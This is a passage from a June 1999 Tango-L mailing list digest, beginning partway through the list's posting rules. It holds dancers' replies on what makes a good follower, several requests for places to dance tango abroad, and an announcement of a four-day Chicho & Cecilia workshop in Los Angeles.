CONSIDERED POSTINGS BY THE COMMERCIAL ENTITY EVEN IF THERE IS NO DIRECT
FINANCIAL INTEREST (please see B(2) below for exceptions to this)!
1. You may post an introduction of your organization on Tango-L ONCE A YEAR
(or when there is a significant change like a move to a new location),
containing a description of your organization, the types of events you hold,
background of the principals, etc. If you have an upcoming major event
(even if it does not qualify under (2) below), you may include information
about it as part of your introduction. (Essentially, this gives you a
"loophole" to announce almost any Tango event you want to, as long as
it (a) accompanies an introduction of your organization and (b) is no more
than once a year.)
2. If you are holding a major Tango Congress or other event of International
scope (a weekend with one or two major Tango figures does not qualify by
itself, but a Tango week with six MAJOR Tango figures would generally qualify).
In this case, you may announce the event in advance, with an update
as it gets closer to the event.
All such postings must include:
(a) Full name of the principal(s); (b) Telephone number of the organization;
(c) Address of the organization; (d) Disclosure of financial interest of the
person (e) The approximate date of the previous posting of a local event.
Minor updates that would only be of interest to those already attending
the Congress, etc., should be sent using your own attendee list and not
to Tango-L.
B. POSTINGS BY NON-PROFIT ORGANIZATIONS AND OTHER TRULY DISINTERESTED PARTIES
1. Non-profit organizations WHERE THE POSTER DOES NOT HAVE A DIRECT FINANCIAL
INTEREST (i.e., is not a paid teacher or salaried employee) are given more
leeway than (1) and (2) above, but should still be mindful of the fact that
routine local events are not appropriate on Tango-L. Hence, they should
limit their postings to major events and introductions of their organizations.
2. Reviews by disinterested third parties on a major event (regardless of
whether that event was a commercial one) are always appropriate on Tango-L, as
long as they are truly disinterested parties (i.e., that the posting is not
made as a favour to the organizer or as a negative review of a competing
organization).
All such postings must include (a) the organization name and statement as
to its non-profit nature (in Case 1 above) (b) the full name and relationship
of the poster to the organization and a statement as to the absence of a
financial interest.
Please send e-mail to the list administrators at tango-L-request @mitvma.mit.edu
if you have any questions about these posting rules.
Date: Wed, 16 Jun 1999 13:26:09 -0700
From: Michael Brooks <mbrooks @WIZARDS.COM>
Subject: Re: the perfect follow
I would like to share my perspective as a follow:
>I am a relative newcomer to the Argentine tango but from my observations it
>appears the 'perfect follow' should be blind and deaf. Deaf so that the
>musicality and the beat comes through the lead and blind so that the follow
>is always waiting for direction from the lead as from, for instance, a guide
>dog.
As a follow, there are times that I wish I were deaf (or leading) when my
partner lacks a certain musicality or chooses to interpret music
differently than I would. But it is important for me to hear the music, to
feel it and to time the steps that are open to my interpretation such as
embelishments. In fact, it can be said that a good lead and follow are
just feeling the same impulse at the same time.
>To practice a figure repetitively in a class strikes me as somewhat
>self-defeating. When a follow knows where to go and how to move how does that
>improve ones skill as the lead or, for that matter, ones sensitivity as a
>follow?
I don't think it does. I see practicing figures as improving one's
technique. Improvisation is "practiced" separately and is an art unto
itself. Even after I get a figure down, I don't automatically go into that
figure if I don't feel as though it's been led [properly]. I think we
follows can help the leads improve if we let them know when we haven't felt
a lead even if we know what they were _trying_ to lead.
I have been told that tango is all improvisation and that the tango basic
was just created to have something concrete to teach (whether this is true
or not).
Ms. Michael
Seattle, WA
USA
Date: Fri, 18 Jun 1999 08:42:43 -0700
From: Esra Inan <inan @PANGEA.STANFORD.EDU>
Subject: Istanbul??
Hi,
Does anybody know of good places for dancing Tango in Istanbul??
Esra
Date: Wed, 16 Jun 1999 07:36:47 +0200
From: Jean-Pierre Jacquet <jpjfilms @CYBERCABLE.FR>
Subject: No subject was specified.
Any info on a tango event coming up in Sitges, Spain, in July? and
Valencia?
Thanx
Jean-Pierre
Date: Wed, 16 Jun 1999 17:04:28 -0500
From: kathleen kreher <kathleen @ROMANCEINBLOOMS.COM>
Subject: Re: the perfect follow
>
> I am a relative newcomer to the Argentine tango but from my observations it
> appears the 'perfect follow' should be blind and deaf. Deaf so that the
> musicality and the beat comes through the lead and blind so that the follow
> is always waiting for direction from the lead as from, for instance, a guide
> dog.
Mitchell, as a follower you have offended me. Your comment
suggests that as a follower I bring nothing to the dance. I should
blindly obey.
As far as being deaf: Perhaps I hear a particular point in the music
that I would like to decorate, given the time and space from a good
leader or if my movement does not interfere with his timing, I can
do so. Adding some of myself to the dance.
As far as being blind: Sometimes when I dance with a very good
leader, someone that leads with his chest and frame, I can close
my eyes and follow comfortably. However, this is not always the
case. Sometimes I need to see that his leg is sticking out,
expecting me to produce a gancho.
> To practice a figure repetitively in a class strikes me as somewhat
> self-defeating. When a follow knows where to go and how to move how does that
> improve ones skill as the lead or, for that matter, ones sensitivity as a
> follow?
When learning a new step or figure try getting into it from a variety
of positions so you can work on your lead and she learns to
understand the response. This also makes the dance less pattern
oriented and more improvisational.
> I have a regular partner and I'm not always sure when her movements are in
> response to my lead or to some kind of choreography we have developed between
> us. I don't know if when a mistake is made if it follows from my ineptitude
> as a leader or from her lack of following skills
Don't do choreography!!! If you always do a media velta followed by
a forward ocho into crusada, no matter how bad the lead, she will
execute the step if that is what is expected.
snip
>
> Also there is the problem posed by the fact that we, my partner and I, like
> to dance close but when you dance with strangers, either in class or at a
> milonga it is usually at arms length (well not exactly, but you know what I
> mean 'salon'?).
At a milonga the first dance I dance with a stranger, I usually don't
dance as close as usual, but as I become more comfortable
dancing with him, I will close the embrace.
>
> My reading of Tango-L leads me to believe that there are many experienced
> tangueros who at some point in their education may have had to resolve such
> questions. I would be extremely interested in hearing your thoughts on these
> subjects as I have enjoyed reading your view on other subjects.
Good luck and good tangos Mitchell and may you never come
across that "deaf and blind" follower!
Rosita
Date: Wed, 16 Jun 1999 12:50:03 -0700
From: Mike Hamilton <mikeh @MPL.UCSD.EDU>
Subject: Re: the perfect follow
Hello Mitchell,
On Wed, 16 Jun 1999, Mitchell Levitan wrote:
> I am a relative newcomer to the Argentine tango but from my observations it
> appears the 'perfect follow' should be blind and deaf. Deaf so that the
> musicality and the beat comes through the lead and blind so that the follow
> is always waiting for direction from the lead as from, for instance, a guide
> dog.
There are a couple of connections required to dance: connection to the
partner, connection to the music, and connection to the floor.
Sacrificing any of them will mess things up. So, deaf wouldn't help,
since that would break the connection to the music.
Following consists of a lot of things, even sight to some extent. So,
blind won't really help, either. (Although I, too, envy the followers
privlidge of closing their eyes occasionally).
The ideal follow is one who can interpret the music and the beat
*within* the lead being given. ie. one who can create a strong
connection to the music while maintaining a strong connection to the
partner. Of course as previously mentioned, it helps when the lead is
connected to the music as well... ;-)
> To practice a figure repetitively in a class strikes me as somewhat
> self-defeating. When a follow knows where to go and how to move how does that
> improve ones skill as the lead or, for that matter, ones sensitivity as a
> follow?
I completely agree, which is why I almost never lead exactly what is
being taught in a class. I'll do other stuff around it, then lead
through it, then do other stuff; maybe similar stuff so that I can
figure out what differentiates the lead on the new step from leads on
other steps I already know.
On a tangent, this is also why I think it's really important to give
people lots of time to dance during a class, and not take all the time
explaining stuff.
> I have a regular partner and I'm not always sure when her movements are in
> response to my lead or to some kind of choreography we have developed between
> us. I don't know if when a mistake is made if it follows from my ineptitude
> as a leader or from her lack of following skills (I almost always suspect the
> former).
Likely, you're correct here. I'm pretty philosophically set in that
if something goes wrong, 99% of the time it's the lead. Or at the
very least, the lead might have been able to do something different of
better to make it successful. Either way, it pushes me to do it
better.
> Also there is the problem posed by the fact that we, my partner and I, like
> to dance close but when you dance with strangers, either in class or at a
> milonga it is usually at arms length (well not exactly, but you know what I
> mean 'salon'?).
Yeah, switching back and forth when you're not used to one way can be
tricky. It does change how things are led a little, and how difficult
or easy different things are to lead. Learn the lead both ways -
"close" and "open" ("milonguero" and "salon"...etc. etc. choose your
term). It's a fun excercise.
> My reading of Tango-L leads me to believe that there are many experienced
> tangueros who at some point in their education may have had to resolve such
> questions.
Are continually resolving such questions....
Hmmm... hope I wasn't too verbose.
Michael Hamilton
formerly of Seattle,
now of San Diego, and missing the Seattle follows (and friends)
but, I'll see you Friday!!!
(see http://www.22tango.com for show info!!!)
Date: Wed, 16 Jun 1999 15:24:34 -0400
From: Sergio Suppa <sergio @NCINTER.NET>
Subject: ANSWER TO MITCHEL, THE TANGO FOLLOWER
MITCHEL, Many followers close their eyes while dancing in orther to
obtein more concentration. The follower hears the music and dances according
to her interpretation of the music, following the "proposals" that her/his
partner is suggesting. Even when she follows his lead she still has a lot of
latitude as to embellishments and interpretation of the music.
The purpose of the practice is to learn the necessary skills to dance tango.
Once you possess those skills then you may improvise to the music.
SKILLS such as leading, following, navigating, walking, turning,
embellishments, music interpretation and rhythm, etc.
When you become a good leader she will always follow your lead ( marca). If
you show hesitation then she will get confused or backlead.
As you suspect when mistakes are made it is usually due to leader
ineptitude. The mistakes that the beginner follower makes are usually
compensated by the good leader.
Tango is usually danced in close embrace alternating with separation in
order to obtain space to perform certain figures, such as in Salon Style, or
always close such as in Milonguero Style. Few people like to dance keeping a
minimal distance all the time because they have a very rich coreography that
requires more space.
The closeness or type of embrace is determined by the leader, at the
Milongas or sometimes by the instructor during practicas.
I hope these thoughts are of help. SERGIO
Date: Thu, 17 Jun 1999 04:26:09 GMT
From: Alexis White <alexisltc @HOTMAIL.COM>
Subject: Chicho & Cecilia, West Coast Workshop in L.A. July 30-Aug.2
A special invitation to all tango aficionados in the Western U.S:
A weekend of tango with CHICHO & CECILIA in Los Angeles. In their only
appearance on the West Coast. 4-day Intensive Tango Workshop, July 30 -
August 2, 1999
If you attended the 1st International Tango Congress (CITA) in Buenos Aires
this past March, they need no further introduction. If you were not able to
attend the Congress, or cannot attend other Tango weeks in other parts of
the U.S., here is a great opportunity to continue to study and learn from
two of the most highly regarded teachers from the Congress.
The 4-day workshop is structured in a progressive way that will take
uninitiated and experienced alike, from the structure and fundamentals of
the dance, through the more advanced and intricate movements, rhythms, and
techniques. These classes are designed to build on the previous class. For
the more experienced, there are a number of advanced/special classes
designed with them in mind.
And in L.A., you will also enjoy four great milongas that weekend, including
a live band and a reception on Saturday night, as well as dancing with some
of the best tangueros on the West Coast, gathered here for this very special
event.
Travel and Workshop packages are available. Please contact us at
(818) 252-3320 or e-mail at LAtango @hotmail.com
Or visit our web site at
SCHEDULE
Friday July 30th
7:00 - 8:30pm Special Class Iw, Women's Technique, S1
Special Class Im, Men's Technique, S2
8:30 - 10:00pm Special Class II, Rhythm, S3
Saturday July 31st
10:00 - 12:00pm Fundamentals I Class, F1
12:30 - 2:30pm Advanced I Class, A1
3:00 - 5:00pm Advance II Class, A2
Above Classes to be held at Screenland Studios, Burbank, CA
Sunday August 1st
10:00 - 12:00pm Fundamentals II Class, F2
12:30 - 2:30pm Advanced III Class, A3
3:00 - 5:00pm Advance IV Class, A4
Monday August 2nd
7:00 - 8:30pm Special Class III, Boleos, S4
8:30 - 10:00pm Special Class IV, Sacadas & Ganchos, S5
Above Classes to be held at the Argentine Association of L.A., Burbank, CA
7 Classes F1, F2 lay the foundation and basic elements essential to
mastering later, more intricate movements and concepts in this system.
Although this class is for those new to tango and intermediate dancers, it
is also highly recommended for those experienced in tango but new to this
system, and those that want a review/brush up on the fundamentals. F2 is a
continuation of F1. If you are new to tango just take F1 & F2 only.
7 Classes A1 through A4 are a progression and designed to build on the
previous class, i.e. you cannot take A2 without having taken A1, and you
cannot take A4 without taking A3. These classes are designed for the
experienced dancers, although intermediates are encouraged to try. These
classes will be restricted to a maximum number of participants. Signing up
as a couple is not necessary but it is recommended.
7 Classes S1 through S5 are special master classes on specific subjects of
tango technique. Highly recommended if you have taken A1 through A4, or are
an otherwise experienced dancer. If you are an intermediate looking to push
the envelope and begin to master particular areas of your dancing, and feel
ready to tackle more complex dance skills, we encourage you to take these
classes.
7 There will be = hour breaks between classes for refreshments, rest,
practice or video taping
7 Every attempt will be made to ensure gender balance, as well as the
evenness of skill level in all the classes. It is the students'
responsibility to enroll in classes that match their skill level, as no
special provisions will be made in advanced classes for students of lower
proficiency. Please contact us if you have questions as to what classes you
should be taking.
For further information, registration or any other question regarding the
workshop, please contact us at the number below.
Cecilia & Chicho, The Los Angeles Tango Workshop
Los Angeles 7 July 30 - August 2, 1999
(818) 252-3320, e-mail: LATango @hotmail.com, visit our website at
I have no financial interest in this event. I and the LA Tango Project
organization are a not-for-profit group whose sole interest is to promote
and disseminate tango, and comitted to making Los Angeles a world class
tango city.
_______________________________________________________________
Get Free Email and Do More On The Web. Visit http://www.msn.com
Date: Sun, 20 Jun 1999 14:57:23 -0700
From: Bruss Bowman <Bruss @QMACS.COM>
Subject: Lisbon, Portugal ?
Any tango this coming week in Lisbon Portugal for a nomadic gringo dancer
with rhythm?
End of TANGO-L Digest - 20 Jun 1999 to 21 Jun 1999
**************************************************